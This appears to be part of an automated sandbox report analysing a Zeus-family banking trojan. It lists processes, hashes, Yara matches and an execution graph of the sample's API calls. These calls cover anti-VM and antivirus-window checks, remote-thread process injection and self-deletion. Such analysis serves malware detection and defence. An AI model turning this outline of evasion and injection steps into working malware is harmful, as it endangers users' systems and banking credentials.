                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000019.00000002.2629072397.0000000002B90000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000019.00000002.2643934604.0000000002F50000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:27
                                                                                                                                                                                                          Start time:12:13:41
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 4180 -s 992
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:28
                                                                                                                                                                                                          Start time:12:13:43
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001C.00000002.2632299607.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001C.00000002.2632514116.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:30
                                                                                                                                                                                                          Start time:12:13:43
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 696
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:31
                                                                                                                                                                                                          Start time:12:13:43
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001F.00000002.2699028400.0000000002790000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001F.00000002.2699100650.00000000027F0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:33
                                                                                                                                                                                                          Start time:12:13:44
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 4836 -s 740
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:34
                                                                                                                                                                                                          Start time:12:13:45
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000022.00000002.2697002323.0000000002740000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000022.00000002.2695460193.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:36
                                                                                                                                                                                                          Start time:12:13:46
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000024.00000002.2645314223.00000000023A0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000024.00000002.2645122457.0000000002200000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:37
                                                                                                                                                                                                          Start time:12:13:46
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 1444
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:39
                                                                                                                                                                                                          Start time:12:13:47
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 724
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          Disassembly

                                                                                                                                                                                                          Reset < >

                                                                                                                                                                                                            Execution Graph

                                                                                                                                                                                                            Execution Coverage:1.1%
                                                                                                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                            Signature Coverage:64.6%
                                                                                                                                                                                                            Total number of Nodes:246
                                                                                                                                                                                                            Total number of Limit Nodes:11
                                                                                                                                                                                                            execution_graph 29817 402c10 LoadLibraryA GetModuleFileNameA 29889 403900 RegOpenKeyExA 29817->29889 29820 402c44 ExitProcess 29821 402c4c 29903 4020b0 CreateFileA 29821->29903 29826 402c81 29914 402240 CreateFileA 29826->29914 29827 402c69 GetTickCount PostMessageA 29827->29826 29836 402ca1 30026 401d80 40 API calls 29836->30026 29837 402cc3 IsUserAnAdmin GetModuleHandleA 29839 402cfc 29837->29839 29840 402cdd GetProcAddress 29837->29840 29843 402d02 29839->29843 29844 402d4e 29839->29844 29840->29839 29842 402cef GetCurrentProcess 29840->29842 29841 402ca6 29845 402cb2 29841->29845 29846 402caa ExitProcess 29841->29846 29842->29839 29849 402d06 StrStrIA 29843->29849 29850 402d1c 29843->29850 29847 402d56 StrStrIA 29844->29847 29848 402ddd 29844->29848 30027 403440 70 API calls 29845->30027 29854 402d81 29847->29854 29855 402d6c 29847->29855 29852 402810 9 API calls 29848->29852 29849->29850 29856 402d3f 29849->29856 29940 402810 RegCreateKeyExA 29850->29940 29859 402de8 GlobalFindAtomA 29852->29859 29858 402950 93 API calls 29854->29858 29862 402810 9 API calls 29855->29862 29980 402950 VirtualQuery GetModuleFileNameA 29856->29980 29864 402d86 GlobalFindAtomA 29858->29864 29865 402e38 ExitProcess 29859->29865 29866 402df8 GlobalAddAtomA IsUserAnAdmin 29859->29866 29861 402cb7 29861->29837 29868 402cbb ExitProcess 29861->29868 29869 402d77 29862->29869 29871 402dd6 29864->29871 29872 402d96 GlobalAddAtomA IsUserAnAdmin 29864->29872 29873 402e19 IsUserAnAdmin 29866->29873 29874 402e09 29866->29874 30028 4027b0 43 API calls 29869->30028 29880 4011c0 9 API calls 29871->29880 29877 402db7 IsUserAnAdmin 29872->29877 29878 402da7 29872->29878 29879 402e24 29873->29879 29874->29873 29881 402dc2 29877->29881 29878->29877 30030 4014b0 7 API calls 29879->30030 29883 402d49 29880->29883 30029 4014b0 7 API calls 29881->30029 29883->29865 29885 402e2f 29885->29865 29887 401580 32 API calls 29885->29887 29886 402dcd 29886->29871 29888 401580 32 API calls 29886->29888 29887->29865 29888->29871 29890 40394a RegQueryValueExA 29889->29890 29891 4039ad GetUserNameA CharUpperA strstr 29889->29891 29894 40397b RegCloseKey 29890->29894 29895 40396f RegCloseKey 29890->29895 29892 402c40 29891->29892 29893 4039eb strstr 29891->29893 29892->29820 29892->29821 29893->29892 29896 403a04 strstr 29893->29896 29894->29891 29897 40398e 29894->29897 29895->29891 29896->29892 29898 403a1d GetSystemWindowsDirectoryA GetVolumeInformationA 29896->29898 29897->29891 29897->29892 29898->29892 29899 403a5d 29898->29899 29899->29892 29900 403a79 GetModuleFileNameA StrStrIA 29899->29900 29900->29892 29901 403aa5 StrStrIA 29900->29901 29901->29892 29902 403ab7 StrStrIA 29901->29902 29902->29892 29904 402230 29903->29904 29905 402200 DeviceIoControl CloseHandle 29903->29905 29906 401fc0 memset SHGetFolderPathA 29904->29906 29905->29904 29907 402087 29906->29907 29908 40201e PathAppendA SetCurrentDirectoryA 29906->29908 29909 402092 FindWindowA 29907->29909 29910 40208b FreeLibrary 29907->29910 29908->29907 29911 402041 LoadLibraryA 29908->29911 29909->29826 29909->29827 29910->29909 29911->29907 29912 402055 GetProcAddress 29911->29912 29912->29907 29913 402065 29912->29913 29913->29907 29915 4022e3 WriteFile GetSystemTimeAsFileTime WriteFile CloseHandle 29914->29915 29916 402324 29914->29916 29915->29916 29917 402330 SHGetFolderPathA 29916->29917 29918 402415 29917->29918 29919 402357 29917->29919 29921 402420 SHGetFolderPathA 29918->29921 29919->29919 29920 4023cc MoveFileA 29919->29920 29920->29918 29922 40254f 29921->29922 29923 40244b CreateFileA 29921->29923 29926 402560 CoInitializeEx 29922->29926 29923->29922 29925 4024b1 11 API calls 29923->29925 29925->29922 29927 40258e 29926->29927 29928 40259f GetModuleFileNameW SysAllocString 29926->29928 29927->29928 29930 4027a4 IsUserAnAdmin 29927->29930 29929 4025cd SysAllocString 29928->29929 29935 402746 29928->29935 29931 402733 SysFreeString 29929->29931 29932 4025de CoCreateInstance 29929->29932 29930->29836 29930->29837 29934 402743 SysFreeString 29931->29934 29931->29935 29933 402707 29932->29933 29937 402605 29932->29937 29933->29931 29934->29935 29935->29930 29936 40279e CoUninitialize 29935->29936 29936->29930 29937->29931 29937->29933 29938 402693 CoCreateInstance 29937->29938 29939 4026b5 29938->29939 29939->29933 29941 402855 GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA _snprintf 29940->29941 29942 4028dd RegCreateKeyExA 29940->29942 29943 4028c0 29941->29943 29942->29943 29944 402924 29942->29944 29943->29943 29947 40291e RegSetValueExA 29943->29947 29945 40292c RegFlushKey RegCloseKey 29944->29945 29946 40293d GetCurrentProcessId 29944->29946 29945->29946 29948 401580 29946->29948 29947->29944 29949 4017e8 Sleep 29948->29949 29951 401596 29948->29951 29949->29865 29952 4015b5 29951->29952 29953 4015ab Sleep 29951->29953 30031 401c70 11 API calls 29951->30031 30032 401c70 11 API calls 29952->30032 29953->29951 29953->29952 29955 4015bc 29956 4017e3 29955->29956 29957 4015c4 OpenProcess 29955->29957 29956->29949 29957->29956 29958 4015df GetModuleHandleA 29957->29958 29959 401616 29958->29959 29960 4015fb GetProcAddress 29958->29960 29961 40161c GetModuleHandleA 29959->29961 29962 40164f VirtualAllocEx 29959->29962 29960->29959 29963 401609 GetCurrentProcess 29960->29963 29964 401632 GetProcAddress 29961->29964 29965 40163e 29961->29965 29966 4017c0 GetHandleInformation 29962->29966 29967 401692 WriteProcessMemory 29962->29967 29963->29959 29964->29965 29965->29962 29965->29966 29966->29956 29968 4017d6 29966->29968 29969 4016be 29967->29969 29970 40172f WriteProcessMemory FlushInstructionCache CreateRemoteThread 29967->29970 29968->29956 29971 4017dc CloseHandle 29968->29971 29972 4016c1 VirtualAlloc 29969->29972 29979 401729 29969->29979 29973 401772 GetHandleInformation 29970->29973 29974 40179e RtlCreateUserThread 29970->29974 29971->29956 29972->29969 29977 4016d9 memcpy WriteProcessMemory VirtualFree 29972->29977 29975 401795 29973->29975 29976 401788 29973->29976 29974->29966 29975->29966 29976->29975 29978 40178e CloseHandle 29976->29978 29977->29969 29978->29975 29979->29970 29981 4029b0 29980->29981 29981->29981 29982 4029bf PathFileExistsA 29981->29982 29983 4029d2 GetSystemWindowsDirectoryA 29982->29983 29984 402ad9 _snprintf CopyFileA 29982->29984 29985 4029e7 29983->29985 29986 402c06 29984->29986 29987 402b16 29984->29987 29985->29985 29988 4029ef GetModuleHandleA 29985->29988 30021 4011c0 VirtualQuery GetModuleFileNameA PathFileExistsA 29986->30021 29989 402810 9 API calls 29987->29989 29990 402a47 29988->29990 29991 402a27 GetProcAddress 29988->29991 29992 402b1f 29989->29992 29994 402a76 GetTickCount 29990->29994 30018 402a4d 29990->30018 29991->29990 29993 402a39 GetCurrentProcess 29991->29993 30033 401a30 29992->30033 29993->29990 30100 4012a0 GetTickCount GetModuleHandleA GetProcAddress 29994->30100 29999 402a82 30101 401330 GetTickCount GetModuleHandleA GetProcAddress 29999->30101 30002 402b39 RtlImageNtHeader 30005 402b44 30002->30005 30006 402b5d GetProcessHeap HeapValidate 30002->30006 30003 402b7d 30078 401b60 CreateFileA 30003->30078 30067 401000 30005->30067 30006->30003 30008 402b72 GetProcessHeap RtlFreeHeap 30006->30008 30008->30003 30010 402b5b 30010->30006 30011 402bcf 30014 402bdf GlobalFindAtomA 30011->30014 30089 4013c0 memset memset lstrcpynA CreateProcessA 30011->30089 30012 402baf GetProcAddress 30012->30011 30013 402bc1 GetCurrentProcess 30012->30013 30013->30011 30016 402bfb GlobalAddAtomA 30014->30016 30017 402bef 30014->30017 30016->29986 30019 4011c0 9 API calls 30017->30019 30018->29984 30020 402bf4 ExitProcess 30019->30020 30022 40128f 30021->30022 30023 40121c GetTempPathA GetTempFileNameA MoveFileExA 30021->30023 30022->29883 30023->30022 30024 401263 SetFileAttributesA DeleteFileA 30023->30024 30024->30022 30025 401283 MoveFileExA 30024->30025 30025->30022 30026->29841 30027->29861 30028->29883 30029->29886 30030->29885 30031->29951 30032->29955 30034 401b53 30033->30034 30035 401a4b 30033->30035 30052 4010a0 30034->30052 30036 4010a0 13 API calls 30035->30036 30037 401a54 30036->30037 30037->30034 30038 401a5e RtlImageNtHeader 30037->30038 30039 401b31 GetProcessHeap HeapValidate 30038->30039 30040 401a6f GetTickCount GetModuleHandleA 30038->30040 30039->30034 30041 401b47 GetProcessHeap RtlFreeHeap 30039->30041 30042 401a92 GetProcAddress 30040->30042 30043 401aa9 30040->30043 30041->30034 30042->30043 30044 401aa2 30042->30044 30043->30039 30045 401ac6 CreateFileA 30043->30045 30044->30043 30045->30039 30046 401ae9 WriteFile 30045->30046 30047 401b03 SetEndOfFile 30046->30047 30048 401b0a 30046->30048 30047->30048 30048->30039 30049 401b15 GetHandleInformation 30048->30049 30049->30039 30050 401b24 30049->30050 30050->30039 30051 401b2a CloseHandle 30050->30051 30051->30039 30053 4010b5 CreateFileA 30052->30053 30054 40118a 30052->30054 30053->30054 30057 4010da GetFileSizeEx 30053->30057 30055 401191 IsBadWritePtr 30054->30055 30056 4011a0 30054->30056 30055->30056 30056->30002 30056->30003 30058 40115e 30057->30058 30059 4010f4 GetProcessHeap RtlAllocateHeap 30057->30059 30058->30054 30061 40116e GetHandleInformation 30058->30061 30059->30058 30060 401110 memset 30059->30060 30060->30058 30062 401120 ReadFile 30060->30062 30061->30054 30063 40117d 30061->30063 30062->30058 30064 40113d GetProcessHeap HeapValidate 30062->30064 30063->30054 30065 401183 CloseHandle 30063->30065 30064->30058 30066 401152 GetProcessHeap HeapFree 30064->30066 30065->30054 30066->30058 30068 401090 30067->30068 30069 40100f 30067->30069 30068->30010 30069->30068 30070 401018 CreateFileA 30069->30070 30071 401086 30070->30071 30072 401037 WriteFile 30070->30072 30071->30010 30073 40105a 30072->30073 30074 40104f SetEndOfFile 30072->30074 30073->30071 30075 40106a GetHandleInformation 30073->30075 30074->30073 30075->30071 30076 401079 30075->30076 30076->30071 30077 40107f CloseHandle 30076->30077 30077->30071 30079 401b92 GetFileTime 30078->30079 30080 401c25 MoveFileExA GetModuleHandleA 30078->30080 30081 401bb0 GetHandleInformation 30079->30081 30082 401bcc CreateFileA 30079->30082 30080->30011 30080->30012 30081->30082 30084 401bbf 30081->30084 30082->30080 30083 401beb SetFileTime 30082->30083 30083->30080 30085 401c09 GetHandleInformation 30083->30085 30084->30082 30086 401bc5 CloseHandle 30084->30086 30085->30080 30087 401c18 30085->30087 30086->30082 30087->30080 30088 401c1e CloseHandle 30087->30088 30088->30080 30090 401443 30089->30090 30091 40149f 30089->30091 30092 401455 GetHandleInformation 30090->30092 30093 40146d 30090->30093 30091->30014 30092->30093 30096 401460 30092->30096 30094 401491 30093->30094 30095 401479 GetHandleInformation 30093->30095 30094->30014 30095->30094 30097 401484 30095->30097 30096->30093 30098 401466 CloseHandle 30096->30098 30097->30094 30099 40148a CloseHandle 30097->30099 30098->30093 30099->30094 30100->29999 30101->30018

                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                            Function 00402C10 Relevance: 64.9, APIs: 28, Strings: 9, Instructions: 157librarywindowCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 0 402c10-402c42 LoadLibraryA GetModuleFileNameA call 403900 3 402c44-402c46 ExitProcess 0->3 4 402c4c-402c67 call 4020b0 call 401fc0 FindWindowA 0->4 9 402c81-402c9f call 402240 call 402330 call 402420 call 402560 IsUserAnAdmin 4->9 10 402c69-402c7b GetTickCount PostMessageA 4->10 19 402ca1-402ca8 call 401d80 9->19 20 402cc3-402cdb IsUserAnAdmin GetModuleHandleA 9->20 10->9 28 402cb2-402cb9 call 403440 19->28 29 402caa-402cac ExitProcess 19->29 22 402cfc-402d00 20->22 23 402cdd-402ced GetProcAddress 20->23 26 402d02-402d04 22->26 27 402d4e-402d50 22->27 23->22 25 402cef-402cf9 GetCurrentProcess 23->25 25->22 32 402d06-402d1a StrStrIA 26->32 33 402d1c-402d3a call 402810 GetCurrentProcessId call 401580 Sleep 26->33 30 402d56-402d6a StrStrIA 27->30 31 402ddd-402df6 call 402810 GlobalFindAtomA 27->31 28->20 51 402cbb-402cbd ExitProcess 28->51 37 402d81-402d94 call 402950 GlobalFindAtomA 30->37 38 402d6c-402d7c call 402810 call 4027b0 30->38 48 402e38-402e3a ExitProcess 31->48 49 402df8-402e07 GlobalAddAtomA IsUserAnAdmin 31->49 32->33 39 402d3f-402d44 call 402950 call 4011c0 32->39 33->48 54 402dd6-402ddb call 4011c0 37->54 55 402d96-402da5 GlobalAddAtomA IsUserAnAdmin 37->55 38->48 64 402d49 39->64 56 402e19-402e22 IsUserAnAdmin 49->56 57 402e09-402e11 49->57 54->48 60 402db7-402dc0 IsUserAnAdmin 55->60 61 402da7-402daf 55->61 62 402e24 56->62 63 402e29-402e31 call 4014b0 56->63 57->56 67 402dc2 60->67 68 402dc7-402dcf call 4014b0 60->68 61->60 62->63 63->48 74 402e33 call 401580 63->74 64->48 67->68 68->54 75 402dd1 call 401580 68->75 74->48 75->54
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LoadLibraryA.KERNEL32(user32.dll), ref: 00402C21
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402C35
                                                                                                                                                                                                              • Part of subcall function 00403900: RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
                                                                                                                                                                                                              • Part of subcall function 00403900: RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
                                                                                                                                                                                                              • Part of subcall function 00403900: RegCloseKey.ADVAPI32(?), ref: 00403973
                                                                                                                                                                                                              • Part of subcall function 00403900: GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
                                                                                                                                                                                                              • Part of subcall function 00403900: CharUpperA.USER32(?), ref: 004039C6
                                                                                                                                                                                                              • Part of subcall function 00403900: strstr.MSVCRT ref: 004039DE
                                                                                                                                                                                                              • Part of subcall function 00403900: strstr.MSVCRT ref: 004039F7
                                                                                                                                                                                                              • Part of subcall function 00403900: strstr.MSVCRT ref: 00403A10
                                                                                                                                                                                                              • Part of subcall function 00403900: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
                                                                                                                                                                                                              • Part of subcall function 00403900: GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
                                                                                                                                                                                                              • Part of subcall function 00403900: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402C46
                                                                                                                                                                                                            • FindWindowA.USER32(____AVP.Root,00000000), ref: 00402C5D
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00402C69
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000466,00010001,00000000), ref: 00402C7B
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 00402C9B
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402CAC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Namestrstr$ExitFileModuleProcessUser$AdminCharCloseCountDirectoryFindInformationLibraryLoadMessageOpenPostQuerySystemTickUpperValueVolumeWindowWindows
                                                                                                                                                                                                            • String ID: Fri Jun 17 05:52:09 20112$IsWow64Process$Pn7w$\apppatch\$____AVP.Root$explorer.exe$kernel32.dll$user32.dll$winlogon.exe
                                                                                                                                                                                                            • API String ID: 3353599405-700788231
                                                                                                                                                                                                            • Opcode ID: bc37064e32afb366b102f5e82575ccf3b4a8d8f59925a4562639c9f879143649
                                                                                                                                                                                                            • Instruction ID: a8c301d2fd554ff8a4c2a18cdd62ad6e0f77d76d1eb59a281ca00d7aee5c603c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bc37064e32afb366b102f5e82575ccf3b4a8d8f59925a4562639c9f879143649
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FC515EB1640201A7EB1077B1EF0EB5B3668AF94B45F10413ABB05B61E1EBFC8D4586AD
                                                                                                                                                                                                            Function 00403900 Relevance: 47.4, APIs: 15, Strings: 12, Instructions: 134registrystringCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
